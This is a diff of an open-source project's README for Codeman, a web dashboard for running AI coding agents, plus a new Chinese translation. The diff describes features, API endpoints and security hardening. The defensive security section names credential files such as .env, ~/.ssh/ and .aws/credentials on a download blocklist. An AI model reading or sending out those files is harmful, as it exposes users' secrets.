@@ -214,6 +220,20 @@ WATCHING → IDLE DETECTED → SEND UPDATE → /clear → /init → CONTINUE →
 
 ---
 
+## Orchestrator Loop
+
+Beyond single-session respawn, the **Orchestrator** turns a high-level goal into a phased plan and drives it to completion across multiple agents — a state machine that runs `idle → planning → approval → executing → verifying → (replanning) → completed`.
+
+- **Plan, then execute** — generates a phased plan from your goal and pauses for approval before touching anything; reject with feedback to regenerate
+- **Per-phase verification gates** — each phase is verified before the next begins; on failure the orchestrator replans instead of barreling ahead
+- **Multi-agent execution** — fans phases out to team agents / a task queue, coordinating work too big for one session
+- **Crash-safe** — full state persists under the `orchestrator` key in `state.json`, so it survives restarts
+- **Driven from the UI or API** — the Orchestrator panel, or `POST /api/orchestrator/start` → `/approve` → `/status` (10 endpoints)
+
+> Distinct from Ralph (a single-session autonomous loop): the orchestrator coordinates multi-phase, multi-agent execution. Full design: [`docs/orchestrator-loop-architecture.md`](docs/orchestrator-loop-architecture.md).
+
+---
+
 ## Multi-Session Dashboard
 
 Run **20 parallel sessions** with full visibility — real-time xterm.js terminals at 60fps, per-session token and cost tracking, tab-based navigation, and one-click management.
@@ -270,6 +290,20 @@ PTY Output → 16ms Server Batch → DEC 2026 Wrap → SSE → Client rAF → xt
 
 ---
 
+## More Features
+
+- **Self-update** — git-clone installs under systemd/launchd update in place from **App Settings → Updates**: it detects the latest release, auto-stashes a dirty tree, and streams build progress across the service restart (npm installs report as non-updatable)
+- **Dual-CLI** — run **Claude Code** or **OpenCode** per session; env-var prefixes auto-gate (`CLAUDE_CODE_*` vs `OPENCODE_*`). See [`docs/opencode-integration.md`](docs/opencode-integration.md)
+- **Effort & Ultracode** — set a per-session default effort (`low`–`max`) or enable **ultracode** (dynamic multi-agent workflows). Soft defaults only — switchable anytime with `/effort` in-session. Extended-thinking budget is configurable too
+- **Voice input** — dictate prompts with Deepgram Nova-3 (Web Speech API fallback): toggle recording, auto-silence stop, live level meter (`Ctrl+Shift+V`)
+- **Image input** — paste or drag-and-drop images straight into a session
+- **Gesture control** *(opt-in)* — a MediaPipe hand-tracking overlay to grab/drag session windows and pinch buttons, hands-free. Enable with `CODEMAN_GESTURE=1` + App Settings → Display
+- **Multi-monitor span** *(macOS)* — one click opens a browser window maximized across all displays, so floating agent/gesture panels can cross the physical seam
+- **CJK / IME input** — full composition support for Chinese / Japanese / Korean
+- **OS notifications & hostname-aware titles** — desktop alerts and tab titles are prefixed `codeman:<host>` so multi-host setups stay unambiguous
+
+---
+
 ## Remote Access — Cloudflare Tunnel
 
 Access Codeman from your phone or any device outside your local network using a free [Cloudflare quick tunnel](https://developers.cloudflare.com/cloudflare-one/connections/connect-networks/do-more-with-tunnels/trycloudflare/) — no port forwarding, no DNS, no static IP required.
@@ -391,6 +425,41 @@ When someone authenticates via QR, the desktop shows a notification toast with t
 
 ---
 
+## Security
+
+Codeman launches sessions with `--dangerously-skip-permissions`, so the web UI is by design a remote-code-execution surface for whoever can reach it — the whole security model exists to control *who* that is. Recent hardening (v0.9.0 + v0.9.5) closes the browser-driven attack paths that bite self-hosted dev tools. Full model: [`docs/security-architecture.md`](docs/security-architecture.md).
+
+### Network & access
+
+- **Loopback by default** — binds `127.0.0.1`, reachable only from the same machine, so the no-password default is safe out of the box. Binding a non-loopback host without `CODEMAN_PASSWORD` *starts but prints a loud warning* with three concrete fixes (set a password, loopback + an authenticated tunnel, or explicitly acknowledge with `--allow-unauthenticated-network`)
+- **Optional auth, real sessions** — HTTP Basic via `CODEMAN_USERNAME` (default `admin`) / `CODEMAN_PASSWORD`. Success issues an opaque 256-bit `codeman_session` cookie (`randomBytes(32)`) — validated server-side, not client-signed, so it can't be forged offline (24h TTL, auto-extend, device-context audit log)
+- **Per-IP rate limiting** — 10 failed attempts → `429` with `Retry-After` (15-min decay). A valid cookie or correct password recovers *immediately* even while an attacker hammers the same IP — important because all tunnel traffic shares one loopback IP. QR auth has its own separate limiter
+
+### Always-on browser hardening (v0.9.5)
+
+These run for **every** request — before auth, even on the default no-password loopback install:
+
+- **Host-header allowlist → blocks DNS rebinding.** A custom domain rebound to `127.0.0.1` is rejected with `403 host not allowed` before any handler runs. Allowed: `localhost`, any IP literal, the bind host, `.ts.net` / `.trycloudflare.com` / `.cfargotunnel.com`, the active managed tunnel, and `CODEMAN_ALLOWED_HOSTS` (add custom reverse-proxy domains here — comma-separated; exact host or leading-dot `.suffix` for subdomains)
+- **Cross-site Origin / CSRF guard.** On state-changing methods (`POST`/`PUT`/`PATCH`/`DELETE`) the `Origin` must pass the same allowlist, else `403 cross-site request blocked`. A *missing* Origin is allowed (so `curl`, the CLI, and Claude Code hooks keep working); only a present-but-foreign or opaque `null` origin is rejected
+- **Raw `text/plain` bodies.** The global parser no longer JSON-parses `text/plain`, closing the CORS "simple request" CSRF vector where a cross-site `fetch` could smuggle JSON into a write route with no preflight
+- **WebSocket origin validation.** The terminal WS upgrade runs the same Host + Origin check and closes with code `4003` on failure (anti-CSWSH)
+- **XSS-escaped agent output.** AI-derived strings (tool names, command arguments, subagent descriptions) are HTML-escaped at every injection site before rendering in the subagent / activity panels
+
+### Input, files & headers
+
+- **Schema-validated inputs** — every API body is checked with Zod v4 schemas; a `CLAUDE_CODE_*` / `OPENCODE_*` env-prefix allowlist gates which settings each CLI can receive
+- **Path containment** — file routes `realpath` before boundary checks (no TOCTOU); `..`, absolute paths, and symlinks resolving outside the working dir are rejected. Caps: 10 MB text preview / 50 MB raw & download; `/api/download` blocklists sensitive paths (`.env`, `*credentials*`, `~/.ssh/`, `.aws/credentials`). SVG/HTML is served `octet-stream` + `nosniff` + attachment so it downloads rather than executes
+- **Security headers** — `Content-Security-Policy` (`default-src 'self'`, every exception enumerated), `X-Content-Type-Options: nosniff`, `X-Frame-Options: SAMEORIGIN`, HSTS over HTTPS, and CORS reflected **only** for `localhost` / `127.0.0.1` / `::1`
+
+### Supply chain & isolation
+
+- **Pinned & verified deps** — security-sensitive transitive deps are forced to patched versions via npm `overrides`; lockfile integrity is checked on every commit/PR (all entries resolve to `registry.npmjs.org` with `sha512` hashes). Public assets are NUL-byte-scanned and `node --check`-validated in CI
+- **Multi-instance isolation** — `CODEMAN_INSTANCE` scopes both the tmux socket (`-L codeman-<name>`) and data dir (`~/.codeman-<name>`) so two instances never attach each other's live sessions
+
+> Mobile login uses single-use, 60-second QR tokens — see [QR Code Authentication](#qr-code-authentication) above for the full design (it addresses all 6 flaws from USENIX Security 2025's QR-login study).
+
+---
+
 ## SSH Alternative (`sc`)
 
 If you prefer SSH (Termius, Blink, etc.), the `sc` command is a thumb-friendly session chooser:
@@ -407,24 +476,28 @@ Single-digit selection (1-9), color-coded status, token counts, auto-refresh. De
 
 ## Keyboard Shortcuts
 
+> Ctrl bindings also accept Cmd on macOS.
+
 | Shortcut | Action |
 |----------|--------|
-| `Ctrl+Enter` | Quick-start session |
-| `Ctrl+W` | Close session |
-| `Ctrl+Tab` | Next session |
+| `Ctrl/Cmd+W` | Kill active session |
+| `Ctrl/Cmd+Tab` | Next session |
 | `Alt+1`–`Alt+9` | Switch to tab N |
 | `Ctrl+Shift+{` / `Ctrl+Shift+}` | Move active tab left / right |
-| `Ctrl+K` | Kill all sessions |
-| `Ctrl+L` | Clear terminal |
+| `Ctrl/Cmd+L` | Clear terminal |
 | `Ctrl+Shift+R` | Restore terminal size |
 | `Ctrl+Shift+V` | Toggle voice input |
-| `Ctrl/Cmd +/-` | Font size |
-| `Escape` | Close panels |
+| `Ctrl/Cmd +` / `-` | Font size |
+| `Ctrl/Cmd+?` | Keyboard help |
+| `Shift+Enter` | Insert newline (sent to terminal) |
+| `Escape` | Close panels & modals |
 
 ---
 
 ## API
 
+REST over Fastify — **~140 handlers across 15 route modules**, plus an SSE stream and a WebSocket terminal channel. A representative subset:
+
 ### Sessions
 | Method | Endpoint | Description |
 |--------|----------|-------------|
@@ -446,6 +519,14 @@ Single-digit selection (1-9), color-coded status, token counts, auto-refresh. De
 | `GET` | `/api/sessions/:id/ralph-state` | Get loop state + todos |
 | `POST` | `/api/sessions/:id/ralph-config` | Configure tracking |
 
+### Orchestrator
+| Method | Endpoint | Description |
+|--------|----------|-------------|
+| `POST` | `/api/orchestrator/start` | Start orchestration from a goal |
+| `POST` | `/api/orchestrator/approve` | Approve the generated plan |
+| `GET` | `/api/orchestrator/status` | Current phase + progress |
+| `POST` | `/api/orchestrator/stop` | Stop and clean up |
+
 ### Subagents
 | Method | Endpoint | Description |
 |--------|----------|-------------|
@@ -460,6 +541,8 @@ Single-digit selection (1-9), color-coded status, token counts, auto-refresh. De
 | `GET` | `/api/events` | SSE stream |
 | `GET` | `/api/status` | Full app state |
 | `POST` | `/api/hook-event` | Hook callbacks |
+| `GET` | `/api/system/update/check` | Check for a new release |
+| `POST` | `/api/system/update` | Self-update (git-clone installs) |
 | `POST` | `/api/clipboard` | Push text to all connected browsers (`{text}`) |
 | `GET` | `/api/sessions/:id/run-summary` | Timeline + stats |
 
@@ -481,11 +564,13 @@ flowchart TB
             S1["Session (PTY)"]
             S2["Session (PTY)"]
             RC["Respawn Controller"]
+            ORC["Orchestrator Loop"]
         end
 
         subgraph Detection["Detection Layer"]
             RT["Ralph Tracker"]
             SW["Subagent Watcher<br/><small>~/.claude/projects/*/subagents</small>"]
+            TW["Team Watcher<br/><small>~/.claude/teams/*</small>"]
         end
 
         subgraph Persistence["Persistence Layer"]
@@ -505,14 +590,17 @@ flowchart TB
     SM --> S1
     SM --> S2
     SM --> RC
+    SM --> ORC
     SM --> SS
     S1 --> RT
     S1 --> SCR
     S2 --> SCR
     RC --> SCR
+    ORC --> SCR
     SCR --> CLI
     SW --> BG
     SW --> SSE
+    TW --> SSE
 ```
 
 ---
@@ -537,13 +625,13 @@ The codebase went through a comprehensive 7-phase refactoring that eliminated go
 | Phase | What changed | Impact |
 |-------|-------------|--------|
 | **Performance** | Cached endpoints, SSE adaptive batching, buffer chunking | Sub-16ms terminal latency |
-| **Route extraction** | `server.ts` split into 13 domain route modules + auth middleware + port interfaces | **−60%** server.ts LOC (6,736 → 2,697) |
-| **Domain splitting** | `types.ts` → 14 domain files, `ralph-tracker` → 7 files, `respawn-controller` → 5 files, `session` → 6 files | No more god files |
-| **Frontend modules** | `app.js` → 9 extracted modules (constants, mobile, voice, notifications, keyboard, CJK input, API, Ralph wizard, subagent windows) | **−24%** app.js LOC (15.2K → 11.5K) |
-| **Config consolidation** | ~70 scattered magic numbers → 9 domain-focused config files | Zero cross-file duplicates |
+| **Route extraction** | `server.ts` split into 15 domain route modules + auth middleware + port interfaces | **−67%** server.ts LOC (6,736 → 2,254) |
+| **Domain splitting** | `types.ts` → 16 domain files, `ralph-tracker` → 7 files, `respawn-controller` → 5 files, `session` → 6 files | No more god files |
+| **Frontend modules** | `app.js` → 18 extracted modules across infra, domain & feature layers | app.js core down to **~3.4K LOC** |
+| **Config consolidation** | ~70 scattered magic numbers → 10 domain-focused config files | Zero cross-file duplicates |
 | **Test infrastructure** | Shared mock library, 12 route test files, consolidated MockSession | Testable route handlers via `app.inject()` |
 
-Full details: [`docs/code-structure-findings.md`](docs/code-structure-findings.md)
+Full details: [`docs/archive/code-structure-findings.md`](docs/archive/code-structure-findings.md)
 
 ---
 

README.zh-CN.md

@@ -0,0 +1,664 @@
+<p align="center">
+  <img src="docs/images/codeman-title.svg" alt="Codeman" height="60">
+</p>
+
+<h2 align="center">为 AI 编程智能体而生的「控制平面」</h2>
+
+<p align="center">
+  <em>智能体可视化 &bull; 零延迟输入 &bull; 自主编排器 &bull; 重生控制器 &bull; 移动优先 UI &bull; 安全加固</em>
+</p>
+
+<p align="center">
+  <a href="README.md">English</a> &bull; <strong>简体中文</strong>
+</p>
+
+<p align="center">
+  <a href="https://opensource.org/licenses/MIT"><img src="https://img.shields.io/badge/License-MIT-1e3a5f?style=flat-square" alt="License: MIT"></a>
+  <a href="https://nodejs.org/"><img src="https://img.shields.io/badge/Node.js-18%2B-22c55e?style=flat-square&logo=node.js&logoColor=white" alt="Node.js 18+"></a>
+  <a href="https://www.typescriptlang.org/"><img src="https://img.shields.io/badge/TypeScript-5.9-3b82f6?style=flat-square&logo=typescript&logoColor=white" alt="TypeScript 5.9"></a>
+  <a href="https://fastify.dev/"><img src="https://img.shields.io/badge/Fastify-5.x-1e3a5f?style=flat-square&logo=fastify&logoColor=white" alt="Fastify"></a>
+  <img src="https://img.shields.io/badge/Tests-2861%20total-22c55e?style=flat-square" alt="Tests">
+</p>
+
+<p align="center">
+  <img src="docs/images/subagent-demo.gif" alt="Codeman — 并行子智能体可视化" width="900">
+</p>
+
+> 本文档由英文版 [`README.md`](README.md) 翻译而来。如有出入，以英文版为准。
+
+---
+
+## 快速开始 — 安装
+
+```bash
+curl -fsSL https://raw.githubusercontent.com/Ark0N/Codeman/master/install.sh | bash
+```
+
+该脚本会在缺失时自动安装 Node.js 和 tmux，把 Codeman 克隆到 `~/.codeman/app` 并完成构建。
+
+你至少需要安装一个 AI 编程 CLI —— [Claude Code](https://docs.anthropic.com/en/docs/claude-code) 或 [OpenCode](https://opencode.ai)（两个都装也可以）。安装完成后：
+
+```bash
+codeman web
+# 打开 http://localhost:3000，开启你的第一个会话
+```
+
+<details>
+<summary><strong>作为后台服务运行</strong></summary>
+
+**Linux（systemd）：**
+```bash
+mkdir -p ~/.config/systemd/user
+cat > ~/.config/systemd/user/codeman-web.service << EOF
+[Unit]
+Description=Codeman Web Server
+After=network.target
+
+[Service]
+Type=simple
+ExecStart=$(which node) $HOME/.codeman/app/dist/index.js web
+Restart=always
+RestartSec=10
+
+[Install]
+WantedBy=default.target
+EOF
+systemctl --user daemon-reload
+systemctl --user enable --now codeman-web
+loginctl enable-linger $USER
+```
+
+**macOS（launchd）：**
+```bash
+mkdir -p ~/Library/LaunchAgents
+cat > ~/Library/LaunchAgents/com.codeman.web.plist << EOF
+<?xml version="1.0" encoding="UTF-8"?>
+<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN"
+  "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
+<plist version="1.0">
+<dict>
+  <key>Label</key>
+  <string>com.codeman.web</string>
+  <key>ProgramArguments</key>
+  <array>
+    <string>$(which node)</string>
+    <string>$HOME/.codeman/app/dist/index.js</string>
+    <string>web</string>
+  </array>
+  <key>RunAtLoad</key><true/>
+  <key>KeepAlive</key><true/>
+  <key>StandardOutPath</key>
+  <string>/tmp/codeman.log</string>
+  <key>StandardErrorPath</key>
+  <string>/tmp/codeman.log</string>
+</dict>
+</plist>
+EOF
+launchctl bootstrap gui/$(id -u) ~/Library/LaunchAgents/com.codeman.web.plist
+```
+</details>
+
+<details>
+<summary><strong>Windows（WSL）</strong></summary>
+
+```powershell
+wsl bash -c "curl -fsSL https://raw.githubusercontent.com/Ark0N/Codeman/master/install.sh | bash"
+```
+
+Codeman 依赖 tmux，因此 Windows 用户需要 [WSL](https://learn.microsoft.com/en-us/windows/wsl/install)。如果还没装 WSL：在管理员 PowerShell 中运行 `wsl --install`，重启，打开 Ubuntu，然后在 WSL 内安装你偏好的 AI 编程 CLI（[Claude Code](https://docs.anthropic.com/en/docs/claude-code) 或 [OpenCode](https://opencode.ai)）。安装完成后，即可从 Windows 浏览器访问 `http://localhost:3000`。
+</details>
+
+---
+
+## 移动端优化的 Web UI
+
+在任意手机上都能获得最跟手的 AI 编程智能体体验。完整的 xterm.js 终端、本地回显、滑动导航，以及为真正的远程办公而设计的触控优化界面 —— 而不是把桌面 UI 硬塞进小屏幕。
+
+<table>
+<tr>
+<td align="center" width="33%"><img src="docs/screenshots/mobile-landing-qr.png" alt="移动端 — 带二维码认证的登录页" width="260"></td>
+<td align="center" width="33%"><img src="docs/screenshots/mobile-session-idle.png" alt="移动端 — 带键盘配件栏的空闲会话" width="260"></td>
+<td align="center" width="33%"><img src="docs/screenshots/mobile-session-active.png" alt="移动端 — 活动中的智能体会话" width="260"></td>
+</tr>
+<tr>
+<td align="center"><em>带二维码认证的登录页</em></td>
+<td align="center"><em>键盘配件栏</em></td>
+<td align="center"><em>智能体实时工作中</em></td>
+</tr>
+</table>
+
+<table>
+<tr>
+<th>普通终端 App</th>
+<th>Codeman 移动端</th>
+</tr>
+<tr><td>远程输入延迟 200–300 毫秒</td><td><b>本地回显 —— 即时反馈</b></td></tr>
+<tr><td>字小、无上下文</td><td>完整 xterm.js 终端</td></tr>
+<tr><td>无会话管理</td><td>滑动切换会话</td></tr>
+<tr><td>无通知</td><td>审批 / 空闲时推送提醒</td></tr>
+<tr><td>需手动重连</td><td>tmux 持久化</td></tr>
+<tr><td>看不到智能体</td><td>实时查看后台智能体</td></tr>
+<tr><td>斜杠命令靠复制粘贴</td><td>一键 <code>/init</code>、<code>/clear</code>、<code>/compact</code></td></tr>
+<tr><td>在手机上手打密码</td><td><b>扫二维码 —— 即时认证</b></td></tr>
+</table>
+
+### 安全的二维码认证
+
+在手机键盘上输密码太痛苦了。Codeman 用**密码学安全的一次性二维码令牌**取而代之 —— 扫描桌面上显示的二维码，手机即刻完成认证。
+
+每个二维码编码的是一个包含 6 字符短码的 URL，该短码在服务端映射到一个 256 位密钥（`crypto.randomBytes(32)`）。令牌每 **60 秒**自动轮换，**首次扫描即原子性消费**（重放永远失败），并采用**基于哈希的 `Map.get()` 查找**，不会通过响应时延泄露任何信息。短码只是一个不透明指针 —— 真正的密钥永远不会出现在浏览器历史、`Referer` 头或 Cloudflare 边缘日志中。
+
+该安全设计覆盖了 ["Demystifying the (In)Security of QR Code-based Login"](https://www.usenix.org/conference/usenixsecurity25/presentation/zhang-xin)（USENIX Security 2025，该研究发现 Top-100 网站中有 47 个存在漏洞）所指出的全部 6 个关键二维码认证缺陷：强制一次性使用、短 TTL、密码学随机性、服务端生成、扫描时桌面实时通知（QRLjacking 检测），以及 IP + User-Agent 会话绑定与手动吊销。双层速率限制（按 IP + 全局）使得在 62^6 = 568 亿种可能短码空间内进行暴力破解变得不可行。完整安全分析见：[`docs/qr-auth-plan.md`](docs/qr-auth-plan.md)
+
+### 触控优化界面
+
+- **键盘配件栏** —— 在虚拟键盘上方提供 `/init`、`/clear`、`/compact` 快捷按钮。破坏性命令（`/clear`、`/compact`）需双击确认 —— 第一次点击「上膛」，第二次点击执行 —— 这样在颠簸的通勤路上也不会误触
+- **滑动导航** —— 在终端上左右滑动切换会话（阈值 80px，300ms）
+- **智能键盘处理** —— 键盘弹出时工具栏与终端整体上移（使用 `visualViewport` API，并对 iOS 地址栏漂移设置 100px 阈值）
+- **安全区适配** —— 通过 `env(safe-area-inset-*)` 适配 iPhone 刘海与底部 Home 指示条
+- **44px 触控目标** —— 所有按钮均满足 iOS 人机界面指南的最小尺寸
+- **底部抽屉式 case 选择器** —— 用上滑模态框替代桌面端下拉菜单
+- **原生惯性滚动** —— `-webkit-overflow-scrolling: touch`，丝滑流畅
+
+```bash
+codeman web --https
+# 在手机上打开：https://<你的IP>:3000
+```
+
+> `localhost` 走纯 HTTP 即可。从其他设备访问时请使用 `--https`，或使用 [Tailscale](https://tailscale.com/)（推荐）—— 它提供私有网络，让你无需 TLS 证书即可从手机访问 `http://<tailscale-ip>:3000`。
+
+---
+
+## 实时智能体可视化
+
+实时观看后台智能体工作。Codeman 监控智能体活动，将每个智能体显示在一个可拖拽的浮动窗口中，并用「黑客帝国」风格的动态连接线连回父会话。
+
+<p align="center">
+  <img src="docs/images/subagent-spawn.png" alt="子智能体可视化" width="900">
+</p>
+
+- **浮动终端窗口** —— 每个智能体一个可拖拽、可调整大小的面板，带实时活动日志，逐条展示每一次工具调用、文件读取与进度更新
+- **连接线** —— 用动态绿色线条连接父会话与其子智能体，随智能体的产生与完成实时更新
+- **状态与模型徽标** —— 绿色（活动）、黄色（空闲）、蓝色（已完成）指示，并以 Haiku/Sonnet/Opus 的颜色编码区分模型
+- **自动行为** —— 窗口在产生时自动打开、完成时自动最小化，标签徽标显示「AGENT」或「AGENTS (n)」计数
+- **嵌套智能体** —— 支持 3 层层级（主会话 → 团队成员智能体 → 子-子智能体）
+
+**智能体团队（Agent Teams）** —— 一等公民式支持 Claude Code 原生的多智能体团队（`CLAUDE_CODE_EXPERIMENTAL_AGENT_TEAMS=1`）。`TeamWatcher` 轮询 `~/.claude/teams/`，将团队成员匹配到其主会话，并以实时子智能体窗口呈现，且具备**团队感知的空闲检测** —— 因此当团队成员仍在工作时，重生控制器不会被触发。详见 [`docs/agent-teams/`](docs/agent-teams/)。
+
+---
+
+## 零延迟输入叠加层
+
+<p align="center">
+  <img src="docs/images/zerolag-demo.gif" alt="Zerolag 演示 —— 本地回显与服务端回显并排对比" width="900">
+</p>
+
+远程访问你的编程智能体时（VPN、Tailscale、SSH 隧道），每次按键通常需要 200–300 毫秒往返。Codeman 实现了一套**受 Mosh 启发的本地回显系统**，无论延迟多高，打字都感觉即时。
+
+xterm.js 内部一个像素级精准的 DOM 叠加层以 0ms 渲染按键。后台转发会以 50ms 防抖批次静默地把每个字符送往 PTY，因此 Tab 补全、`Ctrl+R` 历史搜索以及所有 shell 特性都正常工作。当服务端回显在 200–300ms 后到达时，叠加层无缝消失、真实终端文本接管 —— 整个切换过程不可见。
+
+- **抗 Ink 架构** —— 它作为 `.xterm-screen` 内 z-index 7 的一个 `<span>` 存在，完全不受 Ink 持续重绘屏幕的影响（此前两次使用 `terminal.write()` 的尝试都失败了，因为 Ink 会破坏注入的缓冲区内容）
+- **字体匹配渲染** —— 从 xterm.js 的计算样式读取 `fontFamily`、`fontSize`、`fontWeight` 与 `letterSpacing`，使叠加层文本与真实终端输出在视觉上无法区分
+- **完整编辑** —— 退格、重打、粘贴（多字符）、光标跟踪，输入超过终端宽度时多行换行
+- **重连后持久** —— 未发送的输入通过 localStorage 在页面刷新后保留
+- **默认启用** —— 桌面端与移动端均可用，会话空闲或繁忙时都生效
+
+> 已抽取为独立库：[`xterm-zerolag-input`](https://www.npmjs.com/package/xterm-zerolag-input) —— 见[已发布的包](#已发布的包)。
+
+---
+
+## 重生控制器（Respawn Controller）
+
+自主工作的核心。当智能体进入空闲，重生控制器会检测到，发送继续提示，循环执行上下文管理命令以获得全新上下文，然后恢复工作 —— 可完全无人值守运行 **24 小时以上**。
+
+```
+WATCHING → IDLE DETECTED → SEND UPDATE → /clear → /init → CONTINUE → WATCHING
+```
+
+- **多层空闲检测** —— 完成消息、AI 驱动的空闲检查、输出静默、token 稳定性
+- **熔断器** —— 当 Claude 卡住时防止重生抖动（CLOSED → HALF_OPEN → OPEN 状态，跟踪连续无进展与重复错误）
+- **健康评分** —— 0–100 健康分，分项涵盖循环成功率、熔断器状态、迭代进展与卡死恢复
+- **内置预设** —— `solo-work`（3s 空闲，60min）、`subagent-workflow`（45s，240min）、`team-lead`（90s，480min）、`ralph-todo`（8s，480min）、`overnight-autonomous`（10s，480min）
+
+---
+
+## 编排器循环（Orchestrator Loop）
+
+超越单会话重生，**编排器**把一个高层目标转化为分阶段计划，并跨多个智能体推动其完成 —— 这是一个运行 `idle → planning → approval → executing → verifying → (replanning) → completed` 的状态机。
+
+- **先规划，后执行** —— 从你的目标生成分阶段计划，并在动手前暂停等待审批；可带反馈拒绝以重新生成
+- **逐阶段验证关卡** —— 每个阶段在下一阶段开始前都会被验证；失败时编排器会重新规划而非一头扎下去
+- **多智能体执行** —— 将各阶段分发给团队智能体 / 任务队列，协调超出单会话能力的工作
+- **崩溃安全** —— 完整状态持久化在 `state.json` 的 `orchestrator` 键下，可在重启后存续
+- **可从 UI 或 API 驱动** —— 编排器面板，或 `POST /api/orchestrator/start` → `/approve` → `/status`（共 10 个端点）
+
+> 与 Ralph（单会话自主循环）不同：编排器协调多阶段、多智能体执行。完整设计：[`docs/orchestrator-loop-architecture.md`](docs/orchestrator-loop-architecture.md)。
+
+---
+
+## 多会话仪表盘
+
+运行 **20 个并行会话**且全程可见 —— 60fps 的实时 xterm.js 终端、按会话的 token 与成本跟踪、基于标签的导航，以及一键管理。
+
+<p align="center">
+  <img src="docs/screenshots/multi-session-dashboard.png" alt="多会话仪表盘" width="800">
+</p>
+
+### 持久化会话
+
+每个会话都运行在 **tmux** 内 —— 会话可在服务器重启、网络中断与机器休眠后存续。启动时自动恢复，具备双重冗余。幽灵会话发现机制能找到孤立的 tmux 会话。受管会话带有环境标签，因此智能体不会杀掉自己的会话。
+
+### 主机名感知的窗口标题
+
+在多台主机上运行 Codeman（笔记本、开发机、NAS）？浏览器标签标题是 `codeman:<主机名>`，让你无需点进去就能分辨每个标签对应哪个后端：
+
+```bash
+codeman web                                # codeman:<os.hostname()>
+codeman web --title-hostname dev-box       # codeman:dev-box（用于覆盖嘈杂的主机名）
+```
+
+标题在首字节时就被模板化进所提供的 HTML 中，因此从第一帧绘制起就是正确的，且无需 JavaScript 也能工作。同样的主机名前缀也应用于标签闪烁格式（`⚠️ (N) codeman:<host>`）和操作系统级桌面通知（`codeman:<host>: <事件>`），让系统通知中心里的跨主机提醒也不再含糊。
+
+### 智能 Token 管理
+
+| 阈值 | 动作 | 结果 |
+|-----------|--------|--------|
+| **110k tokens** | 自动 `/compact` | 上下文被摘要，工作继续 |
+| **140k tokens** | 自动 `/clear` | 以 `/init` 全新开始 |
+
+### 通知
+
+当会话需要关注时实时桌面提醒 —— `permission_prompt` 与 `elicitation_dialog` 触发关键的红色标签闪烁，`idle_prompt` 触发黄色闪烁。点击任意通知即可直接跳转到相关会话。Hook 按 case 目录自动配置。
+
+### Ralph / Todo 跟踪
+
+自动检测 Ralph 循环、`<promise>` 标签、TodoWrite 进度（`4/9 complete`）以及迭代计数器（`[5/50]`），并提供实时进度环与已用时间跟踪。
+
+<p align="center">
+  <img src="docs/images/ralph-tracker-8tasks-44percent.png" alt="Ralph 循环跟踪" width="800">
+</p>
+
+### 运行摘要（Run Summary）
+
+点击任意会话标签上的图表图标，即可看到所发生一切的时间线 —— 重生周期、token 里程碑、自动 compact 触发、空闲/工作切换、hook 事件、错误等等。
+
+### 零闪烁终端
+
+基于终端的 AI 智能体（Claude Code 的 Ink、OpenCode 的 Bubble Tea）会在每次状态变更时重绘屏幕。Codeman 实现了一套 6 层抗闪烁流水线，让所有会话都获得平滑的 60fps 输出：
+
+```
+PTY 输出 → 16ms 服务端批处理 → DEC 2026 包裹 → SSE → 客户端 rAF → xterm.js（60fps）
+```
+
+---
+
+## 更多特性
+
+- **自更新** —— systemd/launchd 管理下的 git-clone 安装可在 **App Settings → Updates** 中原地更新：它会检测最新发行版，自动暂存（stash）脏工作树，并在服务重启期间流式展示构建进度（npm 安装会被报告为不可更新）
+- **双 CLI** —— 每个会话可选 **Claude Code** 或 **OpenCode**；环境变量前缀自动隔离（`CLAUDE_CODE_*` 与 `OPENCODE_*`）。详见 [`docs/opencode-integration.md`](docs/opencode-integration.md)
+- **Effort 与 Ultracode** —— 设置每会话的默认 effort（`low`–`max`），或启用 **ultracode**（动态多智能体工作流）。这些都只是软默认值 —— 会话中可随时用 `/effort` 切换。扩展思考预算也可配置
+- **语音输入** —— 用 Deepgram Nova-3 口述提示（带 Web Speech API 回退）：切换录音、自动静音停止、实时音量表（`Ctrl+Shift+V`）
+- **图像输入** —— 直接把图片粘贴或拖放进会话
+- **手势控制** *(可选)* —— 一个 MediaPipe 手部追踪叠加层，可徒手抓取/拖动会话窗口并捏合按钮。用 `CODEMAN_GESTURE=1` + App Settings → Display 启用
+- **多显示器横跨** *(macOS)* —— 一键打开一个横跨所有显示器最大化的浏览器窗口，让浮动的智能体/手势面板可以跨越物理拼接缝
+- **CJK / 输入法支持** —— 完整支持中文 / 日文 / 韩文的组合输入
+- **操作系统通知与主机名感知标题** —— 桌面提醒与标签标题以 `codeman:<host>` 为前缀，使多主机配置不再含糊
+
+---
+
+## 远程访问 —— Cloudflare 隧道
+
+使用免费的 [Cloudflare 快速隧道](https://developers.cloudflare.com/cloudflare-one/connections/connect-networks/do-more-with-tunnels/trycloudflare/)，从手机或本地网络外的任意设备访问 Codeman —— 无需端口转发、无需 DNS、无需静态 IP。
+
+```
+浏览器（手机/平板）→ Cloudflare 边缘（HTTPS）→ cloudflared → localhost:3000
+```
+
+**前置条件：** 安装 [`cloudflared`](https://developers.cloudflare.com/cloudflare-one/connections/connect-networks/downloads/) 并在环境中设置 `CODEMAN_PASSWORD`。
+
+```bash
+# 快速开始
+./scripts/tunnel.sh start      # 启动隧道，打印公网 URL
+./scripts/tunnel.sh url        # 显示当前 URL
+./scripts/tunnel.sh stop       # 停止隧道
+./scripts/tunnel.sh status     # 服务状态 + URL
+```
+
+脚本会在首次运行时自动安装一个 systemd 用户服务。隧道 URL 是一个随机生成的 `*.trycloudflare.com` 地址，每次隧道重启都会改变。
+
+<details>
+<summary><strong>持久隧道（重启后存续）</strong></summary>
+
+```bash
+# 启用为持久服务
+systemctl --user enable codeman-tunnel
+loginctl enable-linger $USER
+
+# 或通过 Codeman Web UI：Settings → Tunnel → 切换为开
+```
+
+</details>
+
+<details>
+<summary><strong>认证</strong></summary>
+
+1. 首次请求 → 浏览器弹出 Basic Auth 提示（用户名：`admin` 或 `CODEMAN_USERNAME`）
+2. 成功后 → 服务端签发 `codeman_session` cookie（24 小时 TTL，活动时自动延长）
+3. 后续请求通过 cookie 静默认证
+4. 同一 IP 失败 10 次 → 429 速率限制（15 分钟衰减）
+
+通过隧道暴露前**务必设置 `CODEMAN_PASSWORD`** —— 否则任何拿到 URL 的人都能完全访问你的会话。
+
+</details>
+
+### 二维码认证
+
+在手机键盘上输密码很糟糕。Codeman 用**短暂的一次性二维码令牌**解决这个问题 —— 扫描桌面上的二维码，手机即刻完成认证。无密码提示、无打字、无剪贴板。
+
+```
+桌面显示二维码  →  手机扫描  →  GET /q/Xk9mQ3  →  服务端校验
